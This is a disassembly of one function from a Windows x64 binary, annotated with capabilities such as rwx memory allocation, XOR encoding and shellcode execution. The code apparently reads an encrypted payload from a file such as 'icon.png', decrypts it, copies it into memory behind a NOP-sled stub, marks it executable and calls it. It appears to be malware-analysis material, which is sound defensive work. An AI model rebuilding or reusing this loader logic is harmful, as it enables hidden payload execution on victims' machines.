Function at 0x140002db0
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x4c8]
sub rsp, 0x5c8
mov qword [rbp + 0xc0], 0xfffffffffffffffe
movaps xmmword [rsp + 0x5b0], xmm6
xor r13d, r13d
mov dword [rbp + 0x510], r13d
mov dword [rsp + 0x50], 0x64cd338a
mov dword [rsp + 0x54], 0xf93ebb90
mov dword [rsp + 0x58], 0x3ee840ec
mov word [rsp + 0x5c], 0x1e7e
mov byte [rsp + 0x5e], 0xab
xor eax, eax
mov qword [rsp + 0x5f], rax
mov qword [rsp + 0x67], rax
mov byte [rsp + 0x6f], al
mov dword [rsp + 0x40], 0x63005cf2
mov dword [rsp + 0x44], 0x7bd4ff27
mov dword [rsp + 0x48], 0xa5bab08a
mov dword [rsp + 0x4c], 0x60888635
movsd xmm0, qword [str.icon.png]
movsd qword [rsp + 0x70], xmm0
movzx eax, byte [0x140037410]
mov byte [rsp + 0x78], al
movdqa xmm0, xmmword [0x1400375d0]
movdqu xmmword [rbp + 0x50], xmm0
mov byte [rbp + 0x40], r13b
lea rdx, str.a123456
lea rcx, [rbp + 0x40]
call fcn.140001d60
nop
mov r8d, 0x208
lea rdx, [rbp + 0x2a0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
movdqa xmm0, xmmword [0x1400375c0]
movdqu xmmword [rbp - 0x10], xmm0
mov word [rbp - 0x20], r13w
lea rax, [rbp + 0x2a0]
mov r12, 0xffffffffffffffff
mov r8, r12
inc r8
cmp word [rax + r8*2], 0
jne 0x140002eb0
lea rdx, [rbp + 0x2a0]
lea rcx, [rbp - 0x20]
call fcn.140004a60
nop
lea rdx, str.a123456
lea rcx, [rbp + 0x40]
call fcn.140001d60
movdqa xmm0, xmmword [0x1400375c0]
movdqu xmmword [rbp - 0x50], xmm0
mov word [rbp - 0x60], r13w
lea r10, [rbp - 0x20]
mov rbx, qword [rbp - 0x20]
mov rdi, qword [rbp - 8]
cmp rdi, 8
cmovae r10, rbx
mov r11, qword [rbp - 0x10]
cmp r11, 1
jb 0x140002f6b
lea rcx, [r11 - 1]
mov rax, r12
cmp rcx, r12
cmovb rax, rcx
lea r9, [r10 + rax*2]
lea rsi, [0x140037414]
mov r8, r9
sub r8, rsi
nop dword [rax + rax]
cmp word [r9], 0x5c
jne 0x140002f5c
mov edx, 1
mov rcx, rsi
nop
movzx eax, word [rcx]
cmp word [rcx + r8], ax
jne 0x140002f5c
add rcx, 2
sub rdx, 1
jne 0x140002f40
sub r9, r10
sar r9, 1
jmp 0x140002f6e
cmp r9, r10
je 0x140002f6b
sub r9, 2
sub r8, 2
jmp 0x140002f30
mov r9, r12
movdqa xmm0, xmmword [0x1400375c0]
movdqu xmmword [rbp + 0x90], xmm0
mov word [rbp + 0x80], r13w
cmp r11, r9
cmovb r9, r11
lea rdx, [rbp - 0x20]
cmp rdi, 8
cmovae rdx, rbx
mov r8, r9
lea rcx, [rbp + 0x80]
call fcn.140004a60
mov rdx, qword [rbp - 0x48]
cmp rdx, 8
jb 0x140002fe8
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002fe3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400036da
call fcn.140005990
movups xmm0, xmmword [rbp + 0x80]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [rbp + 0x90]
movups xmmword [rbp - 0x50], xmm1
mov qword [rbp + 0x10], r13
mov qword [rbp + 0x18], 0xf
mov byte [rbp], 0
lea rdx, [0x140037370]
lea rcx, [rbp]
call fcn.140001d60
nop
lea rbx, [rbp - 0x60]
cmp qword [rbp - 0x48], 8
cmovae rbx, qword [rbp - 0x60]
mov ecx, 0x18
call fcn.1400056a0
mov rsi, rax
mov qword [rbp + 0x510], rax
test rax, rax
je 0x14000306d
mov qword [rax + 8], r13
mov dword [rax + 0x10], 1
mov rcx, rbx
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov qword [rsi], rax
test rax, rax
jne 0x140003070
test rbx, rbx
jne 0x1400036cf
jmp 0x140003070
mov rsi, r13
mov qword [rbp + 0x520], rsi
test rsi, rsi
je 0x1400036e0
mov rax, qword [rsi + 8]
test rax, rax
jne 0x140003095
mov rcx, qword [rsi]
call fcn.1400078e0
mov qword [rsi + 8], rax
mov rdx, rax
lea rcx, [rbp]
call fcn.140001d60
nop
movdqa xmm0, xmmword [0x1400375d0]
movdqu xmmword [rbp + 0x30], xmm0
mov byte [rbp + 0x20], 0
mov dword [rbp + 0x510], 3
mov rbx, qword [rbp + 0x10]
lea rdx, [rbx + 1]
lea rcx, [rbp + 0x20]
call fcn.1400054b0
lea rdx, [rbp]
cmp qword [rbp + 0x18], 0x10
cmovae rdx, qword [rbp]
mov r8, rbx
lea rcx, [rbp + 0x20]
call fcn.140004bf0
mov r8d, 1
lea rdx, [0x140037418]
lea rcx, [rbp + 0x20]
call fcn.140004bf0
lea rax, [rsp + 0x70]
mov r8, r12
inc r8
cmp byte [rax + r8], 0
jne 0x140003106
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x20]
call fcn.140004bf0
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x70], xmm0
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x70], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp + 0x38]
cmp rdx, 0x10
jb 0x14000317f
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000317a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400036eb
call fcn.140005990
movdqa xmm0, xmmword [0x1400375d0]
movdqu xmmword [rbp + 0x30], xmm0
mov byte [rbp + 0x20], 0
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0x10
cmovae rdx, qword [rbp - 0x80]
lea rcx, [rbp + 0xd0]
call fcn.1400037c0
nop
movdqa xmm0, xmmword [0x1400375d0]
movdqu xmmword [rbp + 0xb0], xmm0
mov byte [rbp + 0xa0], 0
lea rdx, str.a123456
lea rcx, [rbp + 0xa0]
call fcn.140001d60
mov rcx, qword [rbp + 0xd0]
movsxd rax, dword [rcx + 4]
mov ebx, dword [rbp + rax + 0xe0]
mov rdx, qword [rbp + 0xb8]
cmp rdx, 0x10
jb 0x14000322f
inc rdx
mov rcx, qword [rbp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003223
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400036f1
call fcn.140005990
mov rcx, qword [rbp + 0xd0]
movsxd rax, dword [rcx + 4]
lea rcx, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rax + 0xd0], rcx
mov rax, qword [rbp + 0xd0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0xcc], edx
lea rcx, [rbp + 0xe0]
call fcn.140004490
mov rax, qword [rbp + 0xd0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0xd0], rax
mov rax, qword [rbp + 0xd0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rbp + rcx + 0xcc], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x180], rax
lea rcx, [rbp + 0x180]
call fcn.1400068a4
nop
test ebx, ebx
jne 0x1400034fe
lea rdx, [rbp + 0x40]
cmp qword [rbp + 0x58], 0x10
cmovae rdx, qword [rbp + 0x40]
cmp qword [rbp + 0x50], 5
jne 0x140003306
mov rcx, r13
lea r8, str.ab123
nop word [rax + rax]
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [r8 + rcx - 1]
jne 0x1400032f9
cmp rcx, 5
jne 0x1400032e0
mov eax, r13d
jmp 0x1400032fe
sbb eax, eax
or eax, 1
test eax, eax
je 0x1400034fe
lea rcx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0x10
cmovae rcx, qword [rbp - 0x80]
lea rdx, [rbp + 0x528]
call fcn.140002c60
movdqa xmm0, xmmword [0x1400375d0]
movdqu xmmword [rbp - 0x30], xmm0
mov byte [rbp - 0x40], 0
mov rdx, rax
lea rcx, [rbp - 0x40]
call fcn.140001d60
nop
mov rcx, qword [rbp - 0x40]
mov rdx, qword [rbp - 0x28]
cmp qword [rbp - 0x30], 0
je 0x1400034c9
lea rcx, [0x14003741c]
call fcn.140002050
lea r8, [rbp - 0x40]
lea rdx, [rbp + 0x60]
call fcn.140001970
nop
mov dword [rsp + 0x30], 0x90909090
mov dword [rsp + 0x34], 0x90909090
mov word [rsp + 0x38], 0xc390
lea r15, [rbp + 0x60]
cmp qword [rbp + 0x78], 0x10
cmovae r15, qword [rbp + 0x60]
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x1e0]
call fcn.1400010a0
movups xmm0, xmmword [rsp + 0x40]
movaps xmmword [rbp + 0x290], xmm0
mov rbx, r15
mov r14, qword [rbp + 0x70]
test r14, r14
je 0x140003414
lea rdi, [rbp + 0x290]
sub rdi, r15
dec r14
shr r14, 4
inc r14
nop dword [rax]
movups xmm6, xmmword [rbx]
lea rdx, [rbp + 0x1e0]
mov rcx, rbx
call fcn.1400017f0
mov ecx, 0x10
nop word [rax + rax]
movzx eax, byte [rdi + rbx]
xor byte [rbx], al
inc rbx
sub rcx, 1
jne 0x1400033f0
movaps xmmword [rbp + 0x290], xmm6
sub rdi, 0x10
sub r14, 1
jne 0x1400033d0
mov r14, qword [rbp + 0x70]
mov r9d, 4
mov r8d, 0x1000
lea rdx, [r14 + 0xa]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
mov qword [0x14003ea40], rax
movsd xmm0, qword [rsp + 0x30]
movsd qword [rax], xmm0
movzx ecx, word [rsp + 0x38]
mov word [rax + 8], cx
lea rcx, [rax + 0xa]
mov r8, r14
mov rdx, r15
call fcn.1400088c0
lea r9, [0x14003ea48]
mov r8d, 0x40
lea rdx, [r14 + 0xa]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
call qword [0x14003ea40]
mov rax, qword [0x14003ea40]
add rax, 0xa
call rax
nop
mov rdx, qword [rbp + 0x78]
cmp rdx, 0x10
jb 0x1400034c1
inc rdx
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400034bc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400036f7
call fcn.140005990
mov rcx, qword [rbp - 0x40]
mov rdx, qword [rbp - 0x28]
cmp rdx, 0x10
jb 0x14000350b
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400034f7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400036fd
call fcn.140005990
jmp 0x14000350b
lea rcx, str.hello4
call fcn.140002050
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x140003546
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003541
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003703
call fcn.140005990
movdqa xmm0, xmmword [0x1400375d0]
movdqu xmmword [rbp - 0x70], xmm0
mov byte [rbp - 0x80], 0
lock xadd dword [rsi + 0x10], r12d
cmp r12d, 1
jne 0x140003594
mov rcx, qword [rsi]
test rcx, rcx
je 0x140003574
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov qword [rsi], r13
mov rcx, qword [rsi + 8]
test rcx, rcx
je 0x140003586
call fcn.140005990
mov qword [rsi + 8], r13
mov edx, 0x18
mov rcx, rsi
call fcn.140005990
nop
mov rdx, qword [rbp + 0x18]
cmp rdx, 0x10
jb 0x1400035d0
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400035ca
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003709
call fcn.140005990
nop
mov rdx, qword [rbp - 0x48]
cmp rdx, 8
jb 0x140003610
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000360b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000370f
call fcn.140005990
movdqa xmm0, xmmword [0x1400375c0]
movdqu xmmword [rbp - 0x50], xmm0
mov word [rbp - 0x60], r13w
mov rdx, qword [rbp - 8]
cmp rdx, 8
jb 0x140003662
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000365d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003715
call fcn.140005990
movdqa xmm0, xmmword [0x1400375c0]
movdqu xmmword [rbp - 0x10], xmm0
mov word [rbp - 0x20], r13w
mov rdx, qword [rbp + 0x58]
cmp rdx, 0x10
jb 0x1400036ab
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400036a6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400036c9
call fcn.140005990
xor eax, eax
movaps xmm6, xmmword [rsp + 0x5b0]
add rsp, 0x5c8
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
call fcn.14000aff0
nop
mov ecx, 0x8007000e
call fcn.1400078d0
nop
call fcn.14000aff0
nop
mov ecx, 0x8007000e
call fcn.1400078d0
nop
call fcn.14000aff0
nop
call fcn.14000aff0
nop
call fcn.14000aff0
nop
call fcn.14000aff0
nop
call fcn.14000aff0
nop
call fcn.14000aff0
nop
call fcn.14000aff0
nop
call fcn.14000aff0
int3